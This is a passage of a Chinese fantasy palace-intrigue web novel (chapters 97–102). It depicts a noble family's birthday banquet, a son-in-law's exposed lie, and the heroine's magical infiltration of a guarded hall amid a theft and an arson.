苏青禾作为嫡长孙女,出生当天就被封了县主,更是自幼得苏巍川亲自启蒙。 这也是苏玉兰最嫉恨难平却又无可奈何的地方。 苏青禾入内后冲着老王妃福了福身。 “青禾祝祖母福寿绵长,安康极乐。” 老王妃笑着招了招手。 “你母亲来了半日都不见你,跑去哪里了?” 苏青禾依言上前,亲昵的依偎在老王妃身边,笑的有几分娇羞。 “我陪二皇子给祖母选了寿礼,刚刚又陪着去见了祖父,两个人聊了好一阵子,这才耽搁了半日,祖母莫怪。” 闻言,老王妃的眼底闪了闪。 苏容安满脸骄傲,倒也忘了刚刚要说的事。 “母亲,青禾与二皇子的婚事也该定了,听说这两日,皇上准他入朝,与三皇子一起理政,甚是器重,更有意册封珠冠,除却三皇子,这可是皇子中的头一份恩宠,实属难得。” 倒不是她不愿苏青禾结交三皇子。 奈何三皇子生母是皇后,又怎会要苏家人为正妃。 这二皇子的母妃早亡,族亲又不强,就算他自己争气,也难出头。 而苏家能给他的帮衬极大。 将来能精进到哪一步,谁也难说。 最主要的是,二皇子长相俊逸清雅,是难得的文武全才,对苏青禾更是钟情已久,连老王爷对其都赞赏有加。 苏青禾自己也很是满意。 这桩婚事只差一道赐婚圣旨,便可玉成。 遭受冷待的程氏几人脸色难看至极。 苏玉兰更是气的跺脚。 秦润瞅准机会,忽地掀起衣袍扑通跪在了地上。 朗声将自己准备了许久的祝寿词喊了出来,喊得抑扬顿挫,情真意切。 室内死一般寂静。 苏容安噗嗤一声笑了出来。 笑的眼泪都溢出了眼角。 “哎呦,二妹,你这个便宜孙子可真逗,上来就喊太祖母,谁认他了。” 笑容未消,语气却陡然凌厉。 “真是不知所谓,来啊,扔出去,莫要脏了老祖宗的眼。” 门口立刻进来了两个小厮,作势就要拿人。 秦润一看没讨到好处,吓得赶紧去抓苏玉兰的裙摆。 “母亲,儿子只是想表表孝心,绝无他意啊。” 苏玉兰顿觉丢人。 气的将裙摆给扯了回来,刚要训斥,程氏却道,“大姐,你在一个孩子面前威风什么?母亲还未发话,到底认不认他,还轮不到你来定吧?” 苏容安正要发火,身侧的苏青禾却伸手拦下, “母亲,兰儿与她夫君已缔结了婚书,虽未叩拜祖宗,可在律法上是正经夫妻的。这孩子要不要认,自然要祖父来定。” 她说着又抬眸看向老王妃。 “二皇子不便多待,拜访了祖父后便回去了。礼物落在了祖父的佛心堂,祖父定会拿了礼物陪祖母一起用膳的,到那时再说这孩子的事情也不迟。” 老王妃眼底闪过一抹惊喜,却又很快沉寂。 却也知她好意,欣慰的拍了拍她的手背。 这时管家在外面躬身道,“老夫人,贵客都到了,该移步前厅了。” “知道了。” 老王妃回了一声。 苏容安立刻扶着她站了起来,而另一边,则是苏青禾搭着手臂。 三人径直往外走,经过程氏几人时,老王妃脚步都没停。 明显的区别对待让苏玉兰恨得牙痒痒。 今天她定要苏家所有人对她刮目相看。 等人走了她头上的火再也压不住,伸手狠狠拧在秦明朗的腰间。 “一个屁都不放,我要你有什么用!” 秦明朗哪敢反抗,心里连连叫苦。 程氏虽也不悦,却更沉得住气。 “你祖父没点头之前,你祖母是什么决定都不敢做的。走吧,外面贵客云集,都给我精神着点。” 她说着率先跟了出去。 苏玉兰无奈,只能拽着秦明朗往外走。 秦润连滚带爬地追了上去,虽这五年被江清婉娇养着,可毕竟是小门小户的出身,在这王府高院内,实在难有自在。 又经历刚刚的糗事,这会儿恨不得将尾巴夹起来。 即便一身华服,依旧难掩小家子气。 老王妃院子里伺候的人,都忍不住抿嘴偷笑,臊的他脸红成了猴子屁股。 想去苏玉兰身边找点安慰,却被冷冷瞪了一眼。 他忍不住委屈,心里莫名想起江清婉。 无处安放的情绪,竟让他扭曲的心里发恨。 为什么江清婉不能是县主。 如果她是县主,如果她有高高在上的权势,他就不用这么战战兢兢。 …… 宴席上,如苏青禾所料,苏巍川真的出了佛心堂。 并亲自将二皇子送的礼物交给了老王妃。 老王妃的脸上罕见的浮现几分娇羞,夫妻常年难见一面的寂寥似乎都消散不少。 众宾客齐齐跪拜行礼。 “叩见王爷,王爷千岁千岁千千岁。” “祝王妃寿比南山!” 小侯爷躲在人群里小声吐槽。 “不知道的还以为见了皇上皇后,这么大排场。” 江清婉身为随行小厮,自然没资格入席。 按照规矩,应该跪在自家主子身侧伺候。 好在郭浩选的位置比较偏,旁边又有盆栽遮挡,她身形娇小,索性席地而坐也没人注意。 郭浩怕她饿着,将桌上的美酒和烤鸡全放到了她面前。 老王妃年岁已长,自然没有歌舞班子祝寿。 苏容安请了琴娘献艺,不会太吵又极为风雅。 就连苏巍川都赞了声好琴。 而程氏精心寻来的玉观音,还有秦明朗花光了身上所有的银子买的老山参,老王妃却连盒子都没有打开就随意交给了一旁的嬷嬷。 她心中不平,眼神示意苏玉兰。 今日无论如何,秦明朗这个孙女婿,苏家认也得认,不认也得认。 就算父亲偏心大房不想帮扶,只要秦明朗正式入了苏家的门庭,外面那些个朝臣的脸必然要改改。 以他二品官阶,还有如今手里的兵权,将来定能压过大房。 苏玉兰早就安耐不住。 立刻给秦润使了个眼色,没等他回过神来,就被一把推了出去。 第98章 崩溃 秦润踉跄着杵在中央,心里慌得厉害。 众人顿时议论纷纷。 “这是谁家的孩子?” 秦润倒也反应极快,噗通一声跪在了地上。 “润儿给太祖父请安,祝太祖父身体康健,也祝太祖母福寿绵长。” 趁着众人全都被吸引了目光。 苏玉兰当即拽着秦明朗走出来,跪在了秦润的前面。 “祖父,润儿对您敬慕已久,情急无状,兰儿替他跟您赔罪。” 她俯身跪拜,眼神示意秦明朗说话。 秦明朗从进王府开始就慌得不行。 这会儿更是慌张到了极点,可箭在弦上不能不发,索性硬着头皮在苏巍川冷淡的审视下朗声开口。 “孙婿秦明朗拜见祖父。” 秦明朗虽为二品将军,可他是从边境回来的路上论功封赏的。 之前在朝中毫无水花。 而秦家,在京城内更是连名门都算不上。 就连苏玉兰上门逼着江清婉和离的闹剧,也是后来市井之中传闻渐多又牵扯到九王的桃色绯闻才被人关注。 苏家从未对外承认过秦明朗的身份。 因而朝臣对秦明朗的态度都是模棱两可,甚至尽量回避。 如今苏玉兰带着秦明朗还有个孩子在寿宴上来这么一出,颇有点逼着秦家为其正名的意思。 郭浩兴奋地伸手戳了戳江清婉。 “别啃鸡腿了,快看好戏。你猜猜老王爷会不会一怒之下把你那个渣男夫君给咔嚓了。” 江清婉悠然的倒了一杯酒,抿了一口,味醇,香而不辣,很是好喝。 “我与他已经和离,他死不死跟我有什么关系。” 郭浩看着她慵懒小猫儿的模样越发心动。 “我就喜欢你这劲儿。” 回应他的是江清婉一个大白眼。 郭浩却乐的不行。 “虽然你和离了,但要是秦明朗得了苏家的势,还不定怎么欺负你。左右九王不会娶你,要不然你嫁给我做侯爷夫人怎么样?” 江清婉一脚踹在了他屁股上。 差点没把郭浩给踹出去,吓得他赶紧正襟危坐不敢再造次。 整个宴席上,窃窃私语不断,所有人的注意力都在等着接下来要发生的事情。 江清婉将酒杯一放,悄无声息地退了出去。 主位上的苏巍川脸色并不好看。 “小孩子坐不住正常,带下去吧。” 他丝毫没有接苏玉兰和秦明朗的话茬。 陪坐在苏容安身边的苏青禾忽地轻声提醒。 “母亲,现在可以说了。” 苏容安怔了怔,很快回过神来,憋着笑立刻起身冲着苏巍川行了一礼。 “父亲,刚刚二妹带着兰儿他们一家去跟母亲请安,兰儿甚是骄傲,说她的夫君是二品将军,已经升任巡防营首将,将整个京城的治安尽数握在手中,还说我夫君和儿子将来要仰仗他们,如此成就,还真是光耀门楣。” 在场朝臣各个面面相觑。 兵部主薄一脸懵。 “秦将军不是暂时被停职了吗?何时升任的巡防营首将?我怎不知?” 旁边有人低声打趣。 “怕是故意编了个名头来王爷面前讨喜,真是什么谎话都敢说,这不自打自脸吗?” 议论声渐渐大了起来。 秦明朗俊脸通红,恨不得找个地缝钻下去。 苏玉兰却以为众人惧怕苏家大房的威压,冷哼一声,“大伯母,我知道你一向看不起我们二房,如今我夫君有本事,你心生嫉恨我可以理解,但你万不该在祖父面前嚼舌根,还当着这么多贵客的面。” 苏容安巴不得她闹大,故意摆出一副恨铁不成钢的惋惜表情。 “兰儿,你母亲识人不明,已让你祖父祖母操碎了心,没想到你自小伶俐也跟你母亲一样犯浑,找了个谎话连篇的男人,还当成了宝。” “这位秦将军,你到底是不是巡防营首将,今日你觉得还瞒得住吗?” 苏玉兰猛地呆住。 心头猛地升起一股极不好的预感,转身狠狠瞪着秦明朗。 “你说话啊。” 事到如今,秦明朗索性把心一横。 “祖父,我与兰儿缔结了婚书,呈报了府衙,因那时我尚在边疆无法拜祖,是孙婿失礼。今日莽撞,愿想接着祖母寿辰的大喜之日,身披官袍正式拜见。可是……” “九王殿下将孙婿的结发妻子接去王府,更在朝堂之上诋毁孙婿品性不端,是以孙婿虽为二品却只落得一个监造郎的官职。孙婿不愿兰儿受委屈,一心想要做出成绩,却再被打压。” 他俯身跪地。 “是孙婿无能。” 苏玉兰跌坐在地上,面如死灰。 郭浩看的津津有味,顺势将手里的干果碟子递到了身后。 等了半天也不见人接,不由回头一看,登时吓出一身冷汗。 他身后哪还有江清婉的人影。 想到今日他来送寿礼之前,被江清婉堵在了侯府门口要求同往,还将昨日救霍震的五千两银子还了回来,说是抵消人情。 银子他自然不会要回。 能多跟江清婉待着,他已是很开心。 原以为她就是想凑个热闹,如今苏玉兰一家的热闹正盛,她人却不见了。 难不成她跟着来苏府,不是为了报复让苏玉兰出糗报复,而是另有所图? 他一颗心都提溜了起来。 这可是苏府啊? 少不得府兵暗卫隐藏在暗处护佑平安,她一个手无缚鸡之力的人,若是闯了祸,被人当场给杀了…… 思及此,他腿都开始打哆嗦。 可眼下这气氛剑拔弩张,他若是此时起身,必定引人注意。 说不定还会坏了江清婉的事情。 他只能一遍一遍安慰自己,以江清婉的本事,不可能会出事。 可脑袋里墨云寒煞神一般的影子却不时浮现,让他连热闹都看不下去了。 此刻的苏玉兰,眼前一阵阵发黑。 她苦心经营了这么多年,终于能回京。 她设想了无数次今天的场景。 苏家所有人都会对她刮目相看,再不敢轻贱。 就连对她少有言语的祖父,以后也会器重她的夫君,对她疼爱有加。 可这一切,全完了。 她再也安耐不住,一巴掌呼在了秦明朗的脸上。 “你为何骗我!” “你为何骗我!” 秦润吓得缩在地上瑟瑟发抖。 秦明朗不敢躲,被打的异常狼狈,场面滑稽又可笑。 程氏身旁的程楠忽地小声道,“别提九王啊,提身份。” 正陷入困局的程氏如醍醐灌顶,瞬间清醒。 她立刻起身。 “父亲,明朗是我女婿,是苏家的孙婿,他的困境,我看在眼里疼在心里,今日这场闹剧,的确是我们不对。实在是我们走投无路,想让父亲帮上一帮。” 她并未急着求一个结果。 而是转头看向被秦明朗扣在怀里的苏玉兰。 “兰儿,我知你悲痛,但胳膊扭不过大腿,你要相信你祖父会为你们主持公道,快回席位,今日是你们祖母寿辰,莫要扫了大家的兴致。” 第99章 守阵 秦明朗和秦润赶紧将苏玉兰扶拽着回了位子上坐下。 他心里头的一块石头沉沉地放了下来。 事情败露了又能怎么样。 当着这么多朝臣宾客的面,苏巍川不想认他这个孙女婿也得认,不仅要认,将来定然还会帮他筹谋,让他有机会出人头地。 否则,跟随苏家的那些朝臣心里可要泛起嘀咕,认为苏巍川没了往日的权势,怕了墨云寒。 可苏玉兰却想不到他这么远。 只知道自己当着这么多人的面丢尽了脸。 更是让大房和苏青禾看够了笑话。 一落座她就猛地挣开手,猩红着眼睛死死瞪着秦明朗。 这时苏青禾悠然站起,冲着主位上的苏巍川福了福身。 “祖父,青禾为祖母准备了一份特殊的礼物,这最后一步,还要祖父帮忙。” 她说着拍了拍手。 立刻有小厮抬着一个红布盖着的东西走了进来。 苏青禾上前揭开。 堂内顿时响起一阵吸气声,紧接着不绝于耳的惊叹。 竟是极难培育的寿山桃,果子色泽粉润饱满,还长在树枝之上。 她再次福身。 “请祖父摘寿桃,青禾祝愿祖父祖母康泰如寿山不老,喜乐常伴!” 刚刚的阴霾气氛一扫而空。 苏巍川大喜。 堂内宾客也是连声夸赞。 刚刚苏玉兰有多丢人,此刻的苏青禾就有多耀眼。 看着那处的热闹,苏玉兰恨得牙都快咬碎了,起身就要走,却被程氏拦下。 “你祖父祖母尚未离席,你还要胡闹?” 秦明朗心思一动。 “岳母,是我让兰儿失望了,小婿无脸再呆,自去外面反省等候。” “润儿,好生陪着你母亲。” 他说完低着头匆匆走了。 旁人只当他受不住苏玉兰的打骂才离席,并不知他心中另有打算。 程氏叹了口气,侧头看向程楠。 “你可还有主意?” 程楠依旧一副懦弱模样,讨好的将剥好的虾放在程氏的碗碟里。 “夫人,岳父不会让一个二品将军闲置的。” 本还心焦的程氏,顿时定了心神。 大房之所有受宠,一是因为嫡出,这二,自然是因为他们给苏家生了孙儿,而且入了军武,能为苏家的将来撑起一片天。 如今的秦明朗不回京便是二品,一点不比大房差。 她将虾又夹给了程楠。 “你这脑子倒还没被玩物丧志所磨灭,也该好好动一动了。” 程楠低垂着眉没说话。 前厅热闹非凡,后院就显得异常安静。 只有从厨房酒窖前往前厅送食材的丫鬟小厮,行色匆匆。 江清婉混迹其中,从后厨接了个果盘在手里端着。 诸葛门中倒是有隐匿身形的法术。 可她现在的修为若用起来,耗费太大。 她听青穗说过,暗卫盯梢,并不会全天候的睁着眼四处看,大都是靠听觉。 除非武功高过他们很多,否则就算轻功很厉害,落地的那点细微波动,他们也能捕捉。 对此,他们有着足够的自信。 所以她选择了隐匿气息,冒一次险,若真的出事,再隐匿身形也不迟。 她并不熟悉王府地形。 可她要找的是阵法。 有阵法的地方自然会有灵力波动,对她来说很容易找。 转了几条回廊,她站在了佛心堂的前面。 紧闭的院门有丝丝缕缕的红线缠绕。 是守阵。 威力不大,但是一旦有外人闯入,布阵之人会立刻察觉。 而且破阵也会被发现。 她抬头看向院墙。 红线丝丝缕缕绕过了整个院子。 这守阵,守的并不仅仅是门口。 她越发好奇。 到底藏着什么秘密用得着如此? 正思考着怎么进去不被人察觉, 忽然一个鬼鬼祟祟的人影出现在佛心堂门口。 一身黑衣蒙着面巾,似乎会武,环顾四周后直接一个飞跃,跳进了院子里。 门口的守阵丝线瞬间动了起来。 江清婉立刻来了精神,蹲在黑暗的树荫下,用小木叉子插着瓜果,吃的津津有味。 几个呼吸的时间,佛心堂内就传来了打斗声。 于此同时, 前院正被敬酒的苏巍川眸色陡沉。 “诸位吃好,王府进了只老鼠,老夫去看看。” 说罢将酒盏放下径直走了。 众人齐齐躬身相送。 郭浩心里又慌又急。 那只小老鼠不会就是江清婉吧? 若真的被逮住,可要如何是好。 苏巍川一走,整个宴席就变得轻松很多。 不少人串着桌敬酒说话,也有不少人往老王妃那一桌去贺寿。 郭浩趁乱遛了出去。 一直盯着他忿忿难平的夏宇立刻带着小厮偷偷跟在后面,伺机而动。 佛心堂前, 江清婉原以为闯入的人会被扭送出来治罪。 却没想到打了一会,里面却没了动静。 而整个佛心堂外围的守阵正在急剧的膨胀。 有几处红线已经崩裂。 里面有什么带着强大灵力的东西破了壳。 江清婉此刻也顾不得修为损伤,立刻隐匿身形迅速冲了进去。 隐匿身形的法术坚持不太久,她进了佛心堂就直接朝着灵力释放最浓郁的书房而去。 书房门口,倒了两个黑衣人。 不知是之前进来的,还是佛心堂本身的暗卫。 她正要进去, 就听见佛心堂的院门被人推开,苏巍川沉稳浑厚的声音随即响起。 “围起来,一只苍蝇也不准放过。” 府兵迅速聚集,连同府中其他暗卫全都汇聚到了佛心堂周围。 江清婉正犹豫要不要现在离开,一只赤红色乌鸦忽然从书房内冲了出来。 裹挟着强大的灵力,让整个守阵彻底崩裂。 原来是这东西。 江清婉的指尖迅速凝聚符箓,朝着借助隐匿术法,手指迅速结阵,掌心猛地上台,在乌鸦飞向高空的瞬间,收阵下压。 那赤色乌鸦发出刺耳的鸣叫,迅速被拍回地上。 化作一道人影。 双眼赤红,带着乌鸦面具,显然没想到会被术法攻击,被撞击的哇的吐了口鲜血,四处查看施法之人所在。 而这时苏巍川已经带人冲了进来。 见此场景眸色森然,“抓活的。” 他身后暗卫迅速飞身围攻。 江清婉怔住。 难道这赤眼乌鸦不是苏巍川养的? 她转头看向书房内,心思微动,正要冲进去看看,一道黑影却又在这时冲了出来。 那人看不到她,差点直冲她面门而来,幸好她躲闪及时,错身而过的瞬间,她看到了一双熟悉至极的眸子。 秦明朗? “还有一个,抓住他。” 院子里已经乱作一团。 江清婉趁乱进了书房,一眼就看到一处密室的门大敞开着,似因走的匆忙,来不及关,她刚要进去看看,苏巍川已经疾步而来,先她一步冲进了密室。 她立刻紧随其后。 刚进去就感觉到一股彻骨的寒意,她差点冻得打出喷嚏。 第100章 敢捅了天的胆 苏巍川却似浑然不觉,进了密室后又打开了另一道密室,而那道密室是通往地下的。 江清婉不确定是密道还是密室,算着时间,没敢冒险跟,站在原地环顾当下所在的密室四周。 脚下寒气上涌。 她低头一看,整个密室的地面竟铺满了大块的寒冰玉石。 这种玉石造价昂贵,极其稀少。 更别说这么大面积的用在密室之中。 怪不得会这么冷。 可整个密室内却又没有放置什么容易腐坏的东西。 反而是一些极为陈旧的物品,有好多都沾着煞气。 不是死人用的,就是曾历经过惨烈的杀戮,被喊冤的鲜血尽染过。 苏巍川这是什么癖好,竟收藏着这些东西。 看了一圈,她的目光落在墙边的沙盘上。 苏巍川是武将。 家中设有沙盘再正常不过。 可江清婉一眼就看出,那是双龙斗的风水对抗局。 她好奇凑近细看。 果然发现不对劲。 双龙斗已经结束,其中一龙看似消亡,实则隐于暗潮之下,在反向破坏另一条龙脉的气运。 此消彼长,此长彼消。 她一时间竟分不出,到底是哪条龙胜了,而设沙盘之人,又是站在哪条龙的身边。 透明的指尖忽地闪了闪。 提醒着她隐匿法术即将过时。 她不敢再逗留,迅速往外走。 忽听有人敲锣打鼓。 “走水了,走水了。” 王府一角,冒起滚滚浓烟。 江清婉已经跑出了书房,而她的一只手已经藏不住。 好在这时,所有人都被浓烟吸引,并没有人注意一只忽明忽暗的手。 “不好了,是祠堂,着火的是祠堂!” 佛心堂的老仆心急如焚, “快去救火!” 整个王府全都乱了套。 呛得满脸都是灰的郭浩从小厮丫鬟的院墙内找了个狗洞奋力的爬了出来。 听着里面吵吵闹闹的声音,心有余悸地连连拍着胸口。 “但愿能帮到你,可千万别被抓了啊。” 他觉得还是不保险,想了想从地上爬起来准备去九王府报信。 可一抬头却撞上了夏宇带着四个家丁从逼仄的巷子围了过来。 “小侯爷,你可真是好大的手笔啊,连苏家的祠堂都敢烧!” 郭浩吓了一跳。 强装镇定的梗起脖子。 “夏宇,你胡说八道什么?仗着人多想动手吗?我警告你,伤了我,你爹也护不住你。” 夏宇大笑。 一想到刚刚在王府内受气丢脸,这会儿顿觉舒爽。 “我亲眼看到你放火烧了祠堂,你猜猜,如果我把你扭送到老王爷的面前,你爹护不护的住你?” 郭浩脸色瞬间变得异常难看。 浑身也紧绷起来,像被踩了尾巴却又不敢反抗。 夏宇越发得意。 “跪下,从小爷的裤裆里钻过去,再喊几声爷爷,本少爷考虑考虑给你一条活路。” 郭浩长这么大都没受过这委屈。 登时气的肺炸。 “狗东西,你也配爷爷跪你,我杀了你们,就没人知道了。” 他说着撸起袖子就要动手。 可他从小就不爱习武,虽然亲爹是武将,也只是落得个身体素质不错,要动起真格来,根本不顶用。 三两下就被家丁摁在了地上。 夏宇蹲在他身前,一巴掌呼在他脑袋上。 “你再能耐啊?最后问你一次,跪,还是不跪?” 郭浩愤怒挣扎却根本挣不开,反而蹭了一脸的泥。 “夏宇,你有种放开我咱俩单挑,老子要是输了,任凭你处置。” 夏宇悠然起身。 “我一介书生,才不跟你这莽夫斗狠。既然不愿意跪,那好,我送你回苏府,让老王爷发落。” 郭浩心里着急。 在老王妃寿宴上点了苏家的祠堂,就算他老爹来了,这事怕也翻不了篇。 “不就是给你跪下钻裤裆吗?我答应了,放开我。” 夏宇本就意在折辱他,当即让人松手。 随即撩起下摆,跨立在前。 “来吧,小侯爷。” 郭浩瞅准机会,抬脚朝着他的裤裆狠狠踹了过去。 “你娘的,老子是你爷爷,是你祖爷爷。” 夏宇没想到到了这个时候,郭浩竟然还不怕。 惨叫一声捂着裤裆跪倒在地。 郭浩瞅准机会撒腿就跑。 “给我抓住他!” 夏宇疼的都成了太监腔,咬牙切齿的从地上爬起来。 “郭浩,我要弄死你,我今天要弄死你。” 郭浩原以为能跑出巷子,谁知后面的人不讲武德,抓起石头砸在了他的小腿上。 他踉跄着摔趴在地上,鼻子被摔得飙出两道鲜血。 双腿被后面的人拽着,顷刻间又拉回到夏宇的面前。 夏宇抬手啪啪就是两巴掌。 “给我把他的腿分开,我要废了他。” 他依旧弓着腰,夹着腿,声音又尖又细。 郭浩本想嘲笑两声,可自个双腿却被强行打开,眼见着要遭遇同等的事情,登时后背一阵发紧,声音都有点抖。 “夏宇,你过分了,断了我郭家的根,我爹一定杀上夏家,咱们谁也别想活,万事好商量,你别……喂喂喂……” 夏宇的脚已经抬起,“敢踢我裆,我让你断子绝孙!” “啊!” 预想的巨疼并没有传来。 郭浩喊了半天,猛地睁开眼,就看到眼前所有人都不动了。 他迅速挣脱开束缚手脚并用的从地上爬了起来。 “哪位英雄……” “闭嘴,过来扶我。” 几人身后传来虚弱的声音。 郭浩赶紧探头,这才看到几步之外靠在墙上即便脸上刻意抹黑依旧就看出苍白的江清婉。 “你没事啊?太好了,不枉费我冒险烧了苏家的祠堂。” 他小跑着过去扶她。 “受伤了吗?” 江清婉摇摇头。 隐匿法术有点耗费灵力,她只是有点虚。 刚刚又紧急释放了阵法保住郭浩,这会儿腿都有点站不住。 “赶紧走,一会苏家的人该搜过来了。” 郭浩摇头。 “你先走,我得回去,要不然他们搜查谁没在宴席上,一查就能查到我。到时候会连累我爹的。” 江清婉指了指站定在阵法中的几人。 “不怕他们?” 郭浩笑笑。 “他们有他们的说辞,我有我的,真敢告我状,我就反咬他们一口说亲眼看到他们烧了祠堂,我追出来拿人。就算要严刑逼供,他们也逃不脱,而且,威远候府在皇上那里还是有点面子的,不至于真的拿我如何。” 江清婉很是意外。 这人虽混不吝,关键时刻,倒是想的很通透。 她从腰间荷包里摸出一道空白符纸,刻了符箓后递给他。 这会儿她实在没什么力气。 “有火折子吧?烧了符纸,在他们鼻翼间过一遍,他们会忘记一个时辰前发生的所有事情,之后就算再想起,也已时过境迁。” 郭浩顿觉新奇。 “小娘子,你竟还有这等通天的本事?快给我试试。” 他立刻接过符纸,摸出火折子点着,照着江清婉所说的挨个熏了一遍,等符纸燃尽后,插着腰站在那里等。 江清婉无语至极。 “你在等什么啊?还不赶紧走。” “啊?我想看看他们是不是真的会失忆?” 江清婉翻了个白眼。 “擦干净你的鼻血收拾一下,我也跟你一起回去。” 第101章 指控 王府另一侧,佛心堂的后方院墙窜出一道黑气。 急速朝着四下散开。 随着一声重物落地的声音,秦明朗狠狠掉在地上,砸烂了僻巷里堆砌的破旧箩筐。 他捂着胸口吐了口血。 一道黑影落在他面前,依旧戴着长长的黑色帷帽,看不到半点长相。 “东西拿到了吗?” 秦明朗挣扎坐起,依旧惊魂未定。 刚刚如果不是这人突然出现,又用诡异的乌鸦幻化之术吸引了兵力,他必将困于佛心堂被逮个正着。 攥着偷来的地图,他并没有递出去。 “你到底是什么人?你答应我的事……” “三日后,太后会去护国寺为太上皇祈福,大隋余孽计划在那日诛杀太后。” 他伸出手,掌心托着一个黑漆漆的丹药。 “它可以让你的武功在瞬间提升十倍,一日后失效。记住,既是拼命救人,自然要伤的越重效果越好。” 秦明朗看着那颗丹药,片刻后拿起,将手里的地图放下。 …… 另一边,江清婉稍稍恢复了些力气,和郭浩两个人从狗洞钻回去,一人拿着桶一人端着盆,很快加入了救火的队伍之中。 宴席中的不少人也都参与其中。 女眷并没有过来。 等大火灭了,,每个人的脸上都多多少少沾了灰尘,尽显狼狈,哪还有入府时的贵气。 整个祠堂烧的黑漆漆的。 虽救的及时,可里面本就供奉着长明灯,挂着黄幡,香火更是从不灭,极易燃。 苏巍川看着仆人小心搬出来的牌位,哪还有一个能看得清字迹。 他的脸色难看至极。 周围朝臣各个愤慨。 “哪里来的贼人,如此胆大包天,竟然敢在苏府放火,还偏偏少了祠堂,居心何在?” “必须将贼人给揪出来,实在太可恶了。” “苏府守卫森严,贼人怕是趁着老王妃的寿宴混进来的。你们可有看到谁离席未归?” 众人皆是四下查看。 这时老仆匆匆走到苏巍川身边小声低语了几句。 苏巍川的脸色又沉了几分。 “诸位,今日贼人入府,放火盗窃,竟偷了皇上亲赐的金龙杯。” 他话刚说完就有人站了出来。 “王爷,此等贼子实在可恶,正好不知何人离席,不如就地搜身检查,定能将贼子揪出。” 众人齐齐附和,竟全都主动要求搜身。 江清婉皱眉。 赤眼乌鸦不是被抓住了吗? 为何要搜身? 这时老仆端来一个碧玉盘,盘内放着一颗类似于夜明珠的东西。 正散发着温润的光。 “诸位大人,王爷为保护金龙杯,在外面涂了特制的药粉,只要谁接触过,被此物一照,即刻能显现出来。不知哪位大人先请?” 当下有人站出来过去检验。 江清婉却心下一惊。 那东西,根本不是照什么药粉的。 而是专测灵力的法器。 苏巍川竟然连这等法器都有。 在场众人都想自证清白。 无论是贵客朝臣,还是跟来的小厮仆从,都乖乖过去自动接受检查。 排队的郭浩用肩膀轻轻碰了碰江清婉。 “真是天助我们,放火的罪扣在了盗贼的身上。” 他一脸轻松,带着江清婉跑过去检查。 刚轮到他们,夏宇忽然冲了过来。 “是郭浩。” 郭浩吓得一哆嗦,手直接摁在了圆球上,差点把圆球从托盘里给扒拉出来。 老仆也吓了一跳,慌忙伸手接了一下。 苏巍川的目光落在圆球上,其上光晕并没有任何变化。 夏世辉沉声道,“宇儿,王爷面前休要胡言。郭浩身为侯府世子,怎会赶出忤逆皇权的事情。” 此刻郭浩心里慌得一批。 他偷偷看向江清婉,眼神询问怎么回事? 不是说好会失忆的吗? 怎么还记得? 江清婉示意他稍安勿躁。 她的符不会有问题。 不过,当时她灵力几乎耗尽,这符到底会达成什么效果,她也没把握。 夏宇一听事情这么大,又见郭浩站在所有人前面,还以为已经抓到了把柄,顿时大声道,“爹,我没有胡说,我亲眼看到郭浩离席往这边走,一定就是他点的火。” 众人齐齐看向郭浩。 郭浩只心虚了一下就插起腰反击了回去。 “夏宇,你不就是气我在宴席前打了你一巴掌吗?那也是你诋毁我爹在前,我才动的手。你父亲也已经替你道歉,你怎么还揪着不放,竟还攀咬我放火?” “刚刚大家伙都在这里帮忙灭火,你却是从外面跑回来的,你说我有嫌疑,我还觉得你有嫌疑呢?对了,那个失窃的金龙杯不会是你拿走的吧,趁乱放到了王府外面,再进来诬告我一通,真是好歹毒的计谋。” 论泼皮无赖,郭浩手到擒来。 以前小时候为了从老侯爷手里骗银子花,他可没少说谎编瞎话。 这会儿说起来,无论语气还有神态,半点破绽都没有。 要不是江清婉知道内情,听着都能相信。 更何况一群不知内情的人,顿时又全都狐疑的看向了夏宇。 夏宇一脸懵。 “什么九龙杯,我没偷九龙杯,我是跟着郭浩往这边走的,我亲眼看见他……” 记忆骤然空白。 他想了半天也没想出来看见了什么,整个人表情有些呆。 夏世辉急的踹他。 “你倒是说清楚啊。” 夏宇被踹的一个踉跄,委屈至极。 “爹,你信我,一定就是郭浩干的,要不然他往这边跑干什么?” 郭浩见他说不出个所以然了,顿时底气更足。 “我一个小辈,陪着老王爷饮酒紧张,老王爷离席后我出来松口气不行啊。你这个混蛋,非攀咬我放火,那你说,你是亲眼看见了,还是找到了什么证据,要是没有,我一定让我爹去你们夏家讨个说法。” 夏世辉心里咯噔一下。 老侯爷虽已失势,可有军功在,又只生了郭浩一根独苗,平日就护的紧。若真把事情闹去了皇家面前,夏家讨不到半点便宜。 “宇儿,你到底有没有证据?” “爹,肯定是他,你信我。”夏宇依旧信誓旦旦。 夏世辉气的差点翻白眼。 没有证据,就算他信有什么用! 剑拔弩张时,江清婉忽地小声道,“世子,不是偷九龙杯的人放的火吗?夏少爷怎么老说是你放的,可你又没偷九龙杯。咱们都测完了啊,要不然他也测测,万一是贼喊捉贼呢?” 第102章 佛心堂的秘密 夏宇气的撸起袖子。 “你这奴才,这里有你说话的份吗?” 郭浩立刻挡在江清婉前面。 “我的人,你少吆五喝六的。若没做亏心事,你测一测怕什么?心虚啊?” 人群中也有人附和。 “夏大人,让令郎测一测自证清白。” 夏世辉哪会不同意,催促夏宇赶紧上前。 夏宇狠狠瞪了一眼郭浩。 “等我测完,咱们再说放火的事,敢烧王府的祠堂,你今天死定了。” 他说着将手放在了圆球上。 一直散发着白光的圆球,忽然间变了颜色。 所有人都看到他的手指在光晕中染了幽幽的蓝色。 “真的是他偷了九龙杯啊!” 夏宇难以置信的看着自己的手。 “我……我没偷。” 夏世辉气的一巴掌呼在了他的脸上。 “混账东西,你怎么敢干出这等事情来,九龙杯在哪里,那可是御赐的东西,还不赶紧交出来。” 夏宇捂着脸都快哭了。 “我没偷,我就没见过那什么九龙杯啊。我是冤枉的。” 夏世辉又想到什么,急声问道,“你刚刚出府去了哪里?” 夏宇想到什么,立刻指着院墙的方向。 “我……我明明记得跟着郭浩来了这边,可后面发生了什么就全记不得了,再之后就出现在了外面的小巷子里。我听见王府里喊走水了,才跑回来的。” 郭浩立刻哦了一声。 “原来你什么都没看见,满嘴谎言的冤枉我。夏大人,这事,你必须给我个说法。” 夏世辉此刻一个头两个大,忙不迭的拱手致歉。 “小侯爷,犬子之事等查清,我定让他给你跪下赔罪。” 这时苏巍川缓缓开口。 “不必等查清了,既没亲眼看到,就已算攀咬,这罪,该赔。” 夏世辉心头一颤,猛地拽着夏宇摁跪在地上。 “给小侯爷磕头,磕到他原谅你为止。” 夏宇心里恨得要死,却也怕的要死。 郭浩眼见事情已脱身,立刻大度的摆摆手。 